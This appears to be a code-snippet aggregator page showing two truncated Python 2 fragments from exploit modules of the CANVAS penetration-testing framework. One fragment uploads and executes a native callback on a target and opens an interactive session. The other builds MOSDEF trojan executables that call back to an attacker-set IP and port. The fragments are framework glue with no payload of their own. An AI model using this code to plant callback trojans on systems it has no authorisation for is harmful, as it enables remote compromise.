Exemplo n.º 1
0
        if not self.create_native_callback():
            logging.critical("Error while creating native callback")
            return False

        if not self.exec_native_callback():
            logging.critical(
                "Error while uploading and executing native callback")
            return False

        self.clean_local_files()

        time.sleep(5)
        if self.ISucceeded():
            logging.warning("Exploit succeeded")
        else:
            logging.critical("Exploit failed")

        if not self.cleanup_native():
            logging.critical("Error during service cleanup")

        return self.succeeded


if __name__ == '__main__':
    logging.info('Running CANVAS %s Exploit v%s' % (NAME, VERSION))
    app = theexploit()
    ret = standard_callback_commandline(app)

    if ret not in [0, 1, None]:
        ret.interact()
Exemplo n.º 2
0
        return ret

    def build_universal_trojans(self, http=False, ssl=False):
        res = True
        t_os = canvasos("WINDOWS")
        for arch in ("X86", "X64"):
            t_os.arch = arch
            try:
                ret = self.buildmosdeftrojan(self.callback.ip,
                                             self.callback.port,
                                             target_os=t_os,
                                             universal=True,
                                             http=http,
                                             ssl=ssl,
                                             win8_compatible=True)
                if ret:
                    filename = os.path.join(self.respath,
                                            "callback_%s.exe" % arch)
                    with open(filename, "wb") as f:
                        f.write(self.mosdeftrojan)
            except Exception, err:
                self.log("Problem building MOSDEF trojan: %s" % str(err))
                res = False
        return res


if __name__ == '__main__':
    print "Running CANVAS %s Exploit v %s" % (DESCRIPTION, VERSION)
    app = theexploit()
    ret = exploitutils.standard_callback_commandline(app)